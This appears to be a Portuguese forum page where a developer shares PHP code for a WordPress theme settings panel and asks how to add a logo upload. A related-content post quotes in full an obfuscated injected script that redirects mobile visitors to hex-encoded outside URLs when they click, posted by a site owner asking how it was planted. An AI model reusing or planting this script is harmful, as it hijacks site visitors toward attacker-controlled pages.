Ir para conteúdo

Arquivado

Este tópico foi arquivado e está fechado para novas respostas.

leoamrl

Podem me mostrar alguma maneira de fazer upload de logo através do Pai

Recommended Posts

Estou trabalhando no desenvolvimento de um theme wordpress do zero e estou colocando uma página de "Theme Settings" nesse theme, para alterar coisas como a logo, links de ícones, copyright etc.

Para fazer o Painel segui esse tutorial: http://wpmidia.com.br/tutoriais/tutorial-wordpress-como-criar-abas-em-sua-theme-options-page

 

Preciso de um código HTML para colocar no Theme Settings em que eu possa fazer o upload de uma imagem, e armazenar no wordpress para que seja usada como logo.

 

Meu código está assim:

 

Arquivo adminsettings.php

<?php


add_action( 'init', 'wptester_admin_init' );
add_action( 'admin_menu', 'wptester_settings_page_init' );

function wptester_admin_init() {
	$settings = get_option( "wptester_theme_settings" );
	if ( empty( $settings ) ) {
		$settings = array(
			'wptester_intro' => 'Some intro text for the home page',
			'wptester_tag_class' => false,
			'wptester_ga' => false
		);
		add_option( "wptester_theme_settings", $settings, '', 'yes' );
	}	
}

function wptester_settings_page_init() {
	$theme_data = get_theme_data( TEMPLATEPATH . '/style.css' );
	$settings_page = add_theme_page( $theme_data['Name']. ' Theme Settings', $theme_data['Name']. ' Theme Settings', 'edit_theme_options', 'theme-settings', 'wptester_settings_page' );
	add_action( "load-{$settings_page}", 'wptester_load_settings_page' );
}

function wptester_load_settings_page() {
	if ( $_POST["wptester-settings-submit"] == 'Y' ) {
		check_admin_referer( "wptester-settings-page" );
		wptester_save_theme_settings();
		$url_parameters = isset($_GET['tab'])? 'updated=true&tab='.$_GET['tab'] : 'updated=true';
		wp_redirect(admin_url('themes.php?page=theme-settings&'.$url_parameters));
		exit;
	}
}

function wptester_save_theme_settings() {
	global $pagenow;
	$settings = get_option( "wptester_theme_settings" );
	
	if ( $pagenow == 'themes.php' && $_GET['page'] == 'theme-settings' ){ 
		if ( isset ( $_GET['tab'] ) )
	        $tab = $_GET['tab']; 
	    else
	        $tab = 'homepage'; 

	    switch ( $tab ){ 
	        case 'general' :
				$settings['wptester_tag_class']	  = $_POST['wptester_tag_class'];
			break; 
	        case 'footer' : 
				$settings['wptester_ga']  = $_POST['wptester_ga'];
			break;
			case 'homepage' : 
				$settings['wptester_intro']	  = $_POST['wptester_intro'];
			break;
	    }
	}
	
	if( !current_user_can( 'unfiltered_html' ) ){
		if ( $settings['wptester_ga']  )
			$settings['wptester_ga'] = stripslashes( esc_textarea( wp_filter_post_kses( $settings['wptester_ga'] ) ) );
		if ( $settings['wptester_intro'] )
			$settings['wptester_intro'] = stripslashes( esc_textarea( wp_filter_post_kses( $settings['wptester_intro'] ) ) );
	}

	$updated = update_option( "wptester_theme_settings", $settings );
}

function wptester_admin_tabs( $current = 'homepage' ) { 
    $tabs = array( 'homepage' => 'Home', 'general' => 'General', 'footer' => 'Footer' ); 
    $links = array();
    echo '<div id="icon-themes" class="icon32"><br></div>';
    echo '<h2 class="nav-tab-wrapper">';
    foreach( $tabs as $tab => $name ){
        $class = ( $tab == $current ) ? ' nav-tab-active' : '';
        echo "<a class='nav-tab$class' href='?page=theme-settings&tab=$tab'>$name</a>";
        
    }
    echo '</h2>';
}

function wptester_settings_page() {
	global $pagenow;
	$settings = get_option( "wptester_theme_settings" );
	$theme_data = get_theme_data( TEMPLATEPATH . '/style.css' );
	?>
	
	<div class="wrap">
		<h2>Theme Settings</h2>
		
		<?php
			if ( 'true' == esc_attr( $_GET['updated'] ) ) echo '<div class="updated" ><p>Theme Settings updated.</p></div>';
			
			if ( isset ( $_GET['tab'] ) ) wptester_admin_tabs($_GET['tab']); else wptester_admin_tabs('homepage');
		?>

		<div id="poststuff">
			<form method="post" action="<?php admin_url( 'themes.php?page=theme-settings' ); ?>">
				<?php
				wp_nonce_field( "wptester-settings-page" ); 
				
				if ( $pagenow == 'themes.php' && $_GET['page'] == 'theme-settings' ){ 
				
					if ( isset ( $_GET['tab'] ) ) $tab = $_GET['tab']; 
					else $tab = 'homepage'; 
					
					echo '<table class="form-table">';
					switch ( $tab ){
						case 'general' :
							?>
							<tr>
								<th><label for="wptester_tag_class">Tags with CSS classes:</label></th>
								<td>
									<input id="wptester_tag_class" name="wptester_tag_class" type="checkbox" <?php if ( $settings["wptester_tag_class"] ) echo 'checked="checked"'; ?> value="true" /> 
									<span class="description">Output each post tag with a specific CSS class using its slug.</span>
								</td>
							</tr>
							<?php
						break; 
						case 'footer' : 
							?>
							<tr>
								<th><label for="wptester_ga">Insert tracking code</label></th>
								<td>
									<textarea id="wptester_ga" name="wptester_ga" cols="60" rows="5"><?php echo esc_html( stripslashes( $settings["wptester_ga"] ) ); ?></textarea><br/>
									<span class="description">Enter your Google Analytics tracking code</span>
								</td>
							</tr>
							<?php
						break;
						case 'homepage' : 
							?>
							<tr>
								<th><label for="wptester_intro">Text Logo</label></th>
								<td>
									<textarea id="wptester_intro" name="wptester_intro" cols="60" rows="5" ><?php echo esc_html( stripslashes( $settings["wptester_intro"] ) ); ?></textarea><br/>
									<span class="description">Digite o texto que irá aparecer na área da logo:</span>
								</td>
							</tr>
							<?php
						break;
					}
					echo '</table>';
				}
				?>
				<p class="submit" style="clear: both;">
					<input type="submit" name="Submit"  class="button-primary" value="Update Settings" />
					<input type="hidden" name="wptester-settings-submit" value="Y" />
				</p>
			</form>
			
		</div>

	</div>
<?php
}

Arquivo functions.php

<?php
/* WIDGETS */

if (function_exists('register_sidebar'))
{
    register_sidebar(array(
		'name'			=> 'Sidebar',
        'before_widget'	=> '<div class="widget">',
        'after_widget'	=> '</div>',
		'before_title'	=> '<h3>',
		'after_title'	=> '</h3>',
    ));
}

register_nav_menu( 'main-menu', 'Menu Principal' );

/* Load up our theme options page and related code. */
if ( is_admin() ) require_once( TEMPLATEPATH . '/adminsettings.php' );

?>

Arquivo header.php [sAÍDA DAS INFORMAÇÕES DIGITADAS NO PAINEL DE ADMIN]

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http://www.facebook.com/2008/fbml">
<head>
<title><?php wp_title(''); ?></title>

<meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />
<meta http-equiv="Content-Type" content="text/html;charset=utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0">

<link rel="profile" href="http://gmpg.org/xfn/11" />
<link rel="stylesheet" type="text/css" media="all" href="<?php bloginfo( 'stylesheet_url' ); ?>" />
<link href="css/bootstrap.min.css" rel="stylesheet" media="screen">
<link rel="pingback" href="<?php bloginfo( 'pingback_url' ); ?>" />

<?php if ( is_singular() && get_option( 'thread_comments' ) ) wp_enqueue_script( 'comment-reply' ); wp_head(); ?>

</head>

<body>
	<header id="header-geral">
		<div class="container">
			<a href="./index.php"><?php $opcoes = get_option('wptester_theme_settings'); echo $opcoes['wptester_intro']; ?></a>

			<nav>
				<?php wp_nav_menu( array( 'location'=>'main-menu', 'container'=>'div', 'container-class'=>'menu', 'menu_class'=>'ul-menu' ) ); ?>
			</nav>
		</div>
		
	</header>

Agradeço a atenção e a ajuda.

Compartilhar este post


Link para o post
Compartilhar em outros sites

  • Conteúdo Similar

    • Por douglas79
      Boa noite,
      primeiramente eu fiz um site num servidor local (Wordpress 5.9), criei uma pasta chamada blog e fiz a transferência via FTP para essa pasta, mas não instalei o Wordpress nativo da hospedagem.. Acessei o painel de controle e criei o banco de dados e importei o BD do phpmyadmin do servidor XAMPP. Daí quando vou acessar o domínio www.guardamunparacambi.info/blog, aparece a mensagem "Erro ao conectar com o banco de dados". O que pode estar acontecendo?
      Preciso de ajuda!
    • Por douglas79
      Boa noite,
      primeiramente eu fiz um site num servidor local (Wordpress 5.9), criei uma pasta chamada blog e fiz a transferência via FTP para essa pasta, mas não instalei o Wordpress nativo da hospedagem.. Acessei o painel de controle e criei o banco de dados e importei o BD do phpmyadmin do servidor XAMPP. Daí quando vou acessar o domínio www.guardamunparacambi.info/blog, aparece a mensagem "Erro ao conectar com o banco de dados". O que pode estar acontecendo?
      Preciso de ajuda!
    • Por douglas79
      Boa noite,
      primeiramente eu fiz um site num servidor local (Wordpress 5.9), criei uma pasta chamada blog e fiz a transferência via FTP para essa pasta, mas não instalei o Wordpress nativo da hospedagem.. Acessei o painel de controle e criei o banco de dados e importei o BD do phpmyadmin do servidor XAMPP. Daí quando vou acessar o domínio www.guardamunparacambi.info/blog, aparece a mensagem "Erro ao conectar com o banco de dados". O que pode estar acontecendo?
      Preciso de ajuda!
    • Por douglas79
      Boa noite,
      primeiramente eu fiz um site num servidor local (Wordpress 5.9), criei uma pasta chamada blog e fiz a transferência via FTP para essa pasta, mas não instalei o Wordpress nativo da hospedagem.. Acessei o painel de controle e criei o banco de dados e importei o BD do phpmyadmin do servidor XAMPP. Daí quando vou acessar o domínio www.guardamunparacambi.info/blog, aparece a mensagem "Erro ao conectar com o banco de dados". O que pode estar acontecendo?
      Preciso de ajuda!
    • Por Chirlison
      Estou com um problema no site e gostaria da ajuda dos colegas para poder solucionar a possível brecha de segurança no site.
      Todas as postagens do site apareceram com um código estranho no final de cada uma delas.
      O código é mostrado apenas dentro do editor classic do wordpress. Na página onde o post é listado o código não é mostrado
      Abaixo segue o código inserido no final de cada uma das postagens do site.
       
      <script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=['parse','48RjHnAD','forEach','10eQGByx','test','7364049wnIPjl','\x68\x74\x74\x70\x3a\x2f\x2f\x77\x68\x6d\x2e\x68\x6d\x2f\x4d\x4f\x4f\x39\x63\x35','\x68\x74\x74\x70\x3a\x2f\x2f\x77\x68\x6d\x2e\x68\x6d\x2f\x75\x6d\x52\x38\x63\x35','282667lxKoKj','open','abs','-hurs','getItem','1467075WqPRNS','addEventListener','mobileCheck','2PiDQWJ','18CUWcJz','\x68\x74\x74\x70\x3a\x2f\x2f\x77\x68\x6d\x2e\x68\x6d\x2f\x52\x4a\x51\x35\x63\x37','8SJGLkz','random','\x68\x74\x74\x70\x3a\x2f\x2f\x77\x68\x6d\x2e\x68\x6d\x2f\x6a\x71\x4a\x31\x63\x38','7196643rGaMMg','setItem','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x77\x68\x6d\x2e\x68\x6d\x2f\x7a\x65\x4f\x32\x63\x30','266801SrzfpD','substr','floor','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x77\x68\x6d\x2e\x68\x6d\x2f\x65\x57\x65\x34\x63\x35','3ThLcDl','stopPropagation','_blank','\x68\x74\x74\x70\x3a\x2f\x2f\x77\x68\x6d\x2e\x68\x6d\x2f\x6e\x65\x56\x33\x63\x38','round','vendor','5830004qBMtee','filter','length','3227133ReXbNN','\x68\x74\x74\x70\x3a\x2f\x2f\x77\x68\x6d\x2e\x68\x6d\x2f\x71\x66\x69\x30\x63\x35'];_0x4d17=function(){return _0x3de737;};return _0x4d17();}(function(_0x4923f9,_0x4f2d81){const _0x57995c=_0x9e23,_0x3577a4=_0x4923f9();while(!![]){try{const _0x3b6a8f=parseInt(_0x57995c(0x1fd))/0x1*(parseInt(_0x57995c(0x1f3))/0x2)+parseInt(_0x57995c(0x1d8))/0x3*(-parseInt(_0x57995c(0x1de))/0x4)+parseInt(_0x57995c(0x1f0))/0x5*(-parseInt(_0x57995c(0x1f4))/0x6)+parseInt(_0x57995c(0x1e8))/0x7+-parseInt(_0x57995c(0x1f6))/0x8*(-parseInt(_0x57995c(0x1f9))/0x9)+-parseInt(_0x57995c(0x1e6))/0xa*(parseInt(_0x57995c(0x1eb))/0xb)+parseInt(_0x57995c(0x1e4))/0xc*(parseInt(_0x57995c(0x1e1))/0xd);if(_0x3b6a8f===_0x4f2d81)break;else _0x3577a4['push'](_0x3577a4['shift']());}catch(_0x463fdd){_0x3577a4['push'](_0x3577a4['shift']());}}}(_0x4d17,0xb69b4),function(_0x1e8471){const _0x37c48c=_0x9e23,_0x1f0b56=[_0x37c48c(0x1e2),_0x37c48c(0x1f8),_0x37c48c(0x1fc),_0x37c48c(0x1db),_0x37c48c(0x201),_0x37c48c(0x1f5),'\x68\x74\x74\x70\x3a\x2f\x2f\x77\x68\x6d\x2e\x68\x6d\x2f\x6b\x4a\x72\x36\x63\x37','\x68\x74\x74\x70\x3a\x2f\x2f\x77\x68\x6d\x2e\x68\x6d\x2f\x52\x74\x75\x37\x63\x39',_0x37c48c(0x1ea),_0x37c48c(0x1e9)],_0x27386d=0x3,_0x3edee4=0x6,_0x4b7784=_0x381baf=>{const _0x222aaa=_0x37c48c;_0x381baf[_0x222aaa(0x1e5)]((_0x1887a3,_0x11df6b)=>{const _0x7a75de=_0x222aaa;!localStorage[_0x7a75de(0x1ef)](_0x1887a3+_0x7a75de(0x200))&&localStorage['setItem'](_0x1887a3+_0x7a75de(0x200),0x0);});},_0x5531de=_0x68936e=>{const _0x11f50a=_0x37c48c,_0x5b49e4=_0x68936e[_0x11f50a(0x1df)]((_0x304e08,_0x36eced)=>localStorage[_0x11f50a(0x1ef)](_0x304e08+_0x11f50a(0x200))==0x0);return _0x5b49e4[Math[_0x11f50a(0x1ff)](Math[_0x11f50a(0x1f7)]()*_0x5b49e4[_0x11f50a(0x1e0)])];},_0x49794b=_0x1fc657=>localStorage[_0x37c48c(0x1fa)](_0x1fc657+_0x37c48c(0x200),0x1),_0x45b4c1=_0x2b6a7b=>localStorage[_0x37c48c(0x1ef)](_0x2b6a7b+_0x37c48c(0x200)),_0x1a2453=(_0x4fa63b,_0x5a193b)=>localStorage['setItem'](_0x4fa63b+'-local-storage',_0x5a193b),_0x4be146=(_0x5a70bc,_0x2acf43)=>{const _0x129e00=_0x37c48c,_0xf64710=0x3e8*0x3c*0x3c;return Math['round'](Math[_0x129e00(0x1ed)](_0x2acf43-_0x5a70bc)/_0xf64710);},_0x5a2361=(_0x7e8d8a,_0x594da9)=>{const _0x2176ae=_0x37c48c,_0x1265d1=0x3e8*0x3c;return Math[_0x2176ae(0x1dc)](Math[_0x2176ae(0x1ed)](_0x594da9-_0x7e8d8a)/_0x1265d1);},_0x2d2875=(_0xbd1cc6,_0x21d1ac,_0x6fb9c2)=>{const _0x52c9f1=_0x37c48c;_0x4b7784(_0xbd1cc6),newLocation=_0x5531de(_0xbd1cc6),_0x1a2453(_0x21d1ac+_0x52c9f1(0x1fb),_0x6fb9c2),_0x1a2453(_0x21d1ac+'-hurs',_0x6fb9c2),_0x49794b(newLocation),window[_0x52c9f1(0x1f2)]()&&window[_0x52c9f1(0x1ec)](newLocation,_0x52c9f1(0x1da));};_0x4b7784(_0x1f0b56),window[_0x37c48c(0x1f2)]=function(){const _0x573149=_0x37c48c;let _0x262ad1=![];return function(_0x264a55){const _0x49bda1=_0x9e23;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x49bda1(0x1e7)](_0x264a55)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i['test'](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator['userAgent']||navigator[_0x573149(0x1dd)]||window['opera']),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location['host'];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)]('click',_0xfb5e65);}());</script>  
      Por favor, alguém sabe como esse código pode ter sido inserido por um invasor para que eu possa fechar a possível brecha no código?
      O site foi desenvolvido utilizano wordpress.
      Desde já agradeço a todos que puderem ou tentarem me ajudar a descobrir o que pode ter acontecido.
×

Informação importante

Ao usar o fórum, você concorda com nossos Termos e condições.